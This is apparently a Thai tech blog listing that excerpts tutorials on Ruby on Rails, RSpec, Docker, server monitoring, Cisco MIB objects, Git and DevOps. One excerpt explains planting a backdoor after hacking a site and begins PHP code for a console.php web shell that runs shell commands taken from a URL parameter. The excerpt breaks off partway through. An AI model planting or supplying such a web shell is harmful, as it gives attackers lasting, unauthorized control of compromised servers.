Ruby on Rails 5

ruby on rails

  สวัสดีครับ วันนี้ผมมาอัพเดทเกี่ยวกับ Ruby on Rails เวอร์ชั่นที่กำลังจะออกมาใหม่ก็คือ version 5  ส่วนตัวผมเขียน framework นี้มาได้ไม่นานนัก ก็จะสามารถแนะนำได้ระดับนึง ตามภาษาคนที่เขียน Ruby on Rails version 4 สำหรับสิ่งที่จะแนะนำก็คือ การเปลี่ยนแปลงหลักๆ ดังนี้ การรวมเอา Rails API มาอยู่ใน Ruby on Rails 5 คุณจะสามารถใช้ Ruby on Rails 5 ได้จะต้องใช้ Ruby ตั้งแต่ 2.2.1 ขึ้นไป ใน Ruby on Rails 5 มาพร้อมกับ turbolinks 3 ถ้าใครยังไม่รู้จัก มันคือตัวที่ช่วยในการใช้งาน JS ใน Ruby on Rails Active Cable คือ Web Socket ที่ใช้ในการทำ […]

Rspec Ruby on Rails

Rspec Ruby on Rails

  Rspec คือการเขียนทดสอบในกรณีต่างๆ ที่สมมุติขึ้นกับตัว Application ของเราว่าการทำงานถูกต้องตามที่เราต้องการหรือไม่ เพราะเมื่อเราเขียน Application ไปมากๆแล้ว เราไม่สามารถตรวจสอบการทำงานได้เลย ถ้าไม่มี Spec เขียนไว้ทดสอบการทำงานต่างๆ ของ Application ภาพรวมของการเขียน Rspec ดังนี้   ให้มอง Application เป็นกล่องดำโดยไม่ต้องเข้าใจว่าข้างในคืออะไร โดยที่เราใส่ข้อมูลอะไรลงไป เราจะสามารถคาดเดาผลลัพท์ได้นั่นเองยกตัวอย่างเช่น เราสร้างมา 1 Class ชื่อว่า Bowling และมี Method hit และ score   โดยที่เราสามารถเขียนทดสอบได้ดังนี้เมื่อเรียก Method: score จะสามารถคาดเดาได้ว่าค่าที่ได้จะต้องเป็น 0 เสมอ จึงเขียนทดสอบ “bowling.score.should eq(0)” เพื่อบอกว่าผลลัพท์ที่ได้นั้นเท่ากับ 0 เสมอ Rspec Ruby on Rails สามารถติดตามได้ที่ https://github.com/rspec/rspec

การติดตั้ง Docker Ubuntu

ก่อนอื่นขอแนะนำก่อนว่า Docker ทำงานได้ดีกับ Linux โดย distribution ก็ทำงานแตกต่างกันออกไป เช่น ถ้าอยากได้ Server ที่มี Ubuntu เป็น OS หลัก และ Software เช่น LAMP ถ้าเราต้องการจะ deploy  เข้า Server ตัวนั้น เราจะเป็นต้องทำจาก ubuntu และ kernel ต้องเป็น version เดียวกัน ถึงจะมั่นในได้ว่า เราจะสามารถใช้งานได้จริงๆ ทั้งนี้ Linux ที่นิยมใช้จะมี CoreOS, Ubuntu (ที่ผมเห็นบ่อยๆ) แต่ที่ผมจะนำมาเป็นตัวอย่างคือ Ubuntu Docker สามารถใช้ได้กับ Ubuntu ดังนี้ Ubuntu Trusty 14.04 (LTS) Ubuntu Precise 12.04 (LTS) Ubuntu Saucy […]

การติดตั้ง Docker Mac OS X

การติดตั้งบน Mac OSX นั้นสามารถติดตั้งโดยใช้ Boot2Docker เพื่อที่ใช้ docker command ได้สามารถเลือกวิธีนี้ได้ถ้าเราคุ้นเคยกับ Command line มีอีกหนึ่งทางเลือกในการติดตั้ง docker บน Mac OSX คือ https://kitematic.com จะเป็น graphical user interface (GUI) ให้สามารถใช้งานได้ง่ายขึ้น ในที่นี้ผมจะแนะนำ Boot2Docker เพราะการใช้งานจะสะดวกและรวดเร็วกว่า (ความเห็นส่วนตัวครับ) เราสามารถ download และติดตั้งได้ที่ https://github.com/boot2docker/osx-installer/releases/tag/v1.6.2 เลือก download Boot2Docker-x.x.x.pkg จากนั้น Dubble Click เพื่อทำการติดตั้ง โดยลากไปวางไว้ที่ Applications Directory ในการติดตั้งไฟล์ binary ได้นำไปไว้ที่ /usr/local/bin เรียบร้อยแล้ว เรียนรู้ key concept กันก่อน การติดตั้ง docker บน linux สามารถทำได้เลย โดยสามารถทำงานได้ทั้ง localhost และ docker host เช่น […]

Docker คืออะไร ?

ก่อนที่เราจะรู้จัก docker ได้นั้น เราต้องมาทำความรู้จักกับ linux containers กันก่อน linux containers คืออะไร? (LXC) เป็นวิธีการทำงานแบบเสมือนระดับ OS สำหรับทำงานแยกจากระบบปฎิบัติการหลัก แต่ไม่ใช่แบบเดียวกับ Virtual machine โดย LXC จะทำการแชร์ Linux Kernel  กับ OS หลักและทำงานเสมือนว่าตัวเองเป็น OS   จากรูป จะแสดงถึงลักษณะของ LXC มาถึง Docker กันบ้าง docker เป็น lightweight container ซึ่งแน่นอนว่าต้องมี Size ที่น้อยกว่า LXC แน่นอน เพราะ docker ทำงานในระดับ Process เช่นถ้าต้องการโปรแกรม 1 ตัวนำไปใส่ใน Container ก็จะทำการเก็บคำสั่งทุกคำสั่งที่ได้พิมพ์ไว้ เพราะฉะนั้นถ้า เราพิมพ์คำสั่งอะไรที่ไม่เกี่ยวกับการทำงานใน Container นั้นๆ จะทำให้ […]

The basic system monitoring

พื้นฐานการตรวจสอบระบบสิ่งที่ง่านที่สุดคือ ทำให้ระบบใช้งานได้จะแบ่งออกเป็น 2 อย่าง คือ ความพร้อมใช้งาน (Availability) ความน่าเชื่อถือ (Reliability) ซึ่ง 2 อย่างนี้แตกต่างกันชัดเจน สามารถอ่านได้ที่นี่ https://nonmadden.com/node/server-hardware-and-availability/ การเริ่ม monitoring เราควรดูว่าปัญหานั้นมาจากอะไรก่อนเป็นอันดับแรก เช่น ERROR 404 เป็น http status ที่มีข้อความสั้นๆว่า “หาไม่เจอ” คำถามคือ แล้วอะไรละที่หาไม่เจอ? ERROR 500 เป็น http status ที่มีข้อความสั้นๆว่า “ภายในเซิฟเวอร์ผิดผลาด” แล้วอะไรละที่ผิดผลาด? จะเห็นได้ว่าสิ่งเหล่านี้จะบอกว่า error เหล่านั้นเป็น error ประเภทอะไร เพื่อให้นักพัฒนาหรือผู้ดูแลระบบทราบว่าจะต้องไปแก้ไขอย่างไร เพราะการเกิด error แต่ละแบบเกิดได้หลายสาเหตุ และการแก้ไขต่างกันออกไป ซึ่งเป็นหน้าที่ที่นักพัฒนาและผู้ดูแลระบบควรจะทราบ มาเริ่มกับสิ่งที่ผมจะแนะนำ TOP display and update sorted information about process คือ โปรแกรมที่ใช้ในการแสดงข้อมูลเกี่ยวกับ process […]

วิธีอ่านค่าใน MIB

Object ที่ผมเลือกนำมาเสนอนี้เป็น Object ที่อยู่ใน MIB ของอุปกรณ์จากบริษัท Cisco โดยผมสนใจในเรื่องของการตรวจสอบการใช้งานของ CPU ในอุปกรณ์ว่าในแต่ละช่วงเวลานั้นได้มีการใช้งานเป็นอย่างไรบ้าง เมื่อเกิดปัญหาเราจะสามารถวิเคราะห์ปัญหาว่าเกิดจากสาเหตุอะไร เพื่อนำไปแก้ไขปรับปรุงให้ดียิ่งขึ้น วิธีอ่านค่าใน MIB รายละเอียดของ Object ที่นำเสนอคือ cpmCPUMonInterval OBJECT-TYPE SYNTAX Gauge Access read-only Status mandatory DESCRIPTION “CPU usage monitoring interval. The value of this object in seconds indicates the how often the CPU utilization is calculated and monitored.” ::= { cpmCPUTotalEntry 9 } cpmCPUMonInterval เป็น Object […]

Ruby on Rails – Basic

Ruby on Rails คืออะไร Rails คือ web development framework ที่เขียนด้วยภาษา Ruby แลพเป็นที่นิยมอย่างรวดเร็วโดยเว็บไซต์ดังๆหลายเว็บไซต์ อย่าง Twitter, Github, Kickstarter ใช้ framework ตัวนี้ในการพัฒนาว็บไซต์ และด้วยลักษณะโครงสร้างทางภาษา Ruby ทำให้เขียนโปรแกรมน้อยแต่ได้งานที่เยอะมาก และมีลักษณะโครงสร้างต่างๆ ที่สามารถเข้าใจง่าย เป็นแบบ Object-Oriented Scripting Language Ruby on Rails มีพื้นฐานบนหลักการของ MVC ด้วยหลักการนี้ทำให้การเขียนโปรแกรมจะมีองค์ประกอบด้วยกัน 3 ส่วนคือ Models Views Controllers (โดยรายละเอียดต่างๆ จะนำไปอธิบายในส่วนต่อไป) เบื้องหลังความง่ายบนหลังการของ M-V-C ของ Ruby on Rails คือ Module หลัก 3 ส่วน ได้แก่ Active Record […]

Git

โครงสร้างภาพรวมการทำงาน Git คืออะไร Git คือ Version Control System ตัวหนื่งที่นิยมมากในสมัยนี้ Version Control คือ ระบบที่จัดเก็บการเปลี่ยนแปลงที่เกิดขึ้นกับไฟล์หนึ่งหรือหลายไฟล์เพื่อที่สามารถเรียกเวอร์ชั่นใดเวอร์ชั่นหนึ่งกลับมาดูเมื่อไรก็ได้ การใช้ Version Control System (VCS) เป็นสิ่งที่ชาญฉลาดมาก เพราะช่วยให้เราสามารถย้อนไฟล์บางไฟล์หรือแม้กระทั่งทั้งโปรเจคกลับไปเป็นเวอร์ชั่นเก่าได้ นอกจากนั้นระบบ VCS ยังจะช่วยให้เราเปรียบเทียบการแก้ไขที่เกิดขึ้นในอดีต ดูว่าใครเป็นคนแก้ไขคนสุดท้ายที่อาจทำให้เกิดปัญหา แก้ไขเมื่อไร ฯลฯ และยังช่วยให้เราสามารถกู้คืนไฟล์ที่เราลบหรือทำเสียโดยไม่ตั้งใจได้อย่างง่ายดาย โดยสิ่งที่เราเอาไปฝากไว้บน Git เราจะเรียกว่า Repository และวิธีการทำงานจะมี Git Server รันอยู่บน Server เราสามารถเข้าถึง Git ได้ผ่าน URL ที่สร้างขึ้นมาตอนเราสร้าง Repository บน Server เช่น Git ไม่ใช่ตัวแรกที่ทำแบบนี้ได้ จะมียุคหนึ่งที่ SVN (Subversion) รุ่งเรือง ถือว่าเป็นจุดเริ่มต้นของ Version Control แบบกว้างขวางของโลก แต่ […]

DevOps Engineer

DevOps Engineer คืออะไร? ออกแบบโครงสร้างการทำงาน วิธีการทำงานแบบ DevOps Engineer DevOps คือแนวคิดในขั้นตอนกระบวนการผลิตที่เป็นระบบขั้นตอน มีการออกแบบการสร้างผลงานในแต่ละขั้นตอนอย่างละเอียดและสามารถตรวจสอบการทำงานได้ การพัฒนาระบบนั้นมี 4 ขั้นตอน Development คือการพัฒนาระบบตามปกติโดยเพิ่มขั้นตอนการทำงานคือทำงานร่วมกับ Git ซึ่งเป็น Version Control Test คือขั้นตอนของการตรวจสอบคุณภาพ (QA) ขั้นตอนนี้จะอยู่บน Github ในส่วนของ Pull Request Pre-Production คือการทดสอบในระดับของสภาวะแวดล้อมเสมือนจริง Production คือการนำไปใช้โดยมั่นใจว่าการทำงานจะผิดผลาดน้อยมากๆ หรือไม่ผิดผลาดเลยเพราะ เราได้ผ่านการทดสอบถึง 2 ระดับ ทำให้มั่นใจได้ในระดับหนื่ง

การวาง backdoor แบบง่ายๆ

ก่อนอื่นมารู้จักกันก่อนว่า backdoor นั้นคืออะไร? Backdoor นั้นก็คือ “ประตูหลัง” (อย่าคิดลึก) จริงๆ แล้วในด้าน security นั้นหมายถึงคือ เมื่อเรา hack ได้แล้ว อาจจะเป็นเว็บหรือ application อะไรก็แล้วแต่ ที่ออนไลน์อยู่ ถ้าต้องการเข้าสู่ระบบใหม่ในภายหลังให้ง่ายขึ้น hacker ก็จะสร้างประตูลับของตัวเองเพื่อกลับเข้ามาใหม่ ยกตัวอย่างให้เห็นภาพชัดๆ เช่น มีบ้านหลังหนึ่งเมื่อมีขโมยได้ทำการเข้ามาในบ้านโดยการงัดประตูสำเร็จ ขโมยก็ได้ของติดมือไปนิดหน่อย เพราะจะนำของกลับไปหมดก็คงไม่ไหว เลยต้องทยอยๆ ขโมยเลื่อนๆ แต่จะเข้ามาใหม่โดยการงัดประตูบ้านก็เกรงว่าจะถูกจับได้ก่อน ขโมยก็เลยทำทางเข้าที่หน้าต่างโดยให้เปิดเข้ามาจากภายนอก และกลับมาขโมยใหม่วันหลังได้สะดวกมากขึ้น ที่นี้เข้าเรื่อง สมมุติว่าเรา hack web ได้แล้ว ชื่อว่า http://127.0.0.1/nonmadden และได้ทำการสร้างไฟล์ console.php ไว้ที่ root path ดังนี้ <?php $cmd = isset($_GET[‘cmd’]) ? $_GET[‘cmd’] : ‘ls -l’; echo “executing shell command: […]

Database – ตัวอย่าง

Database – ตัวอย่างวิธีการออกแบบฐานข้อมูล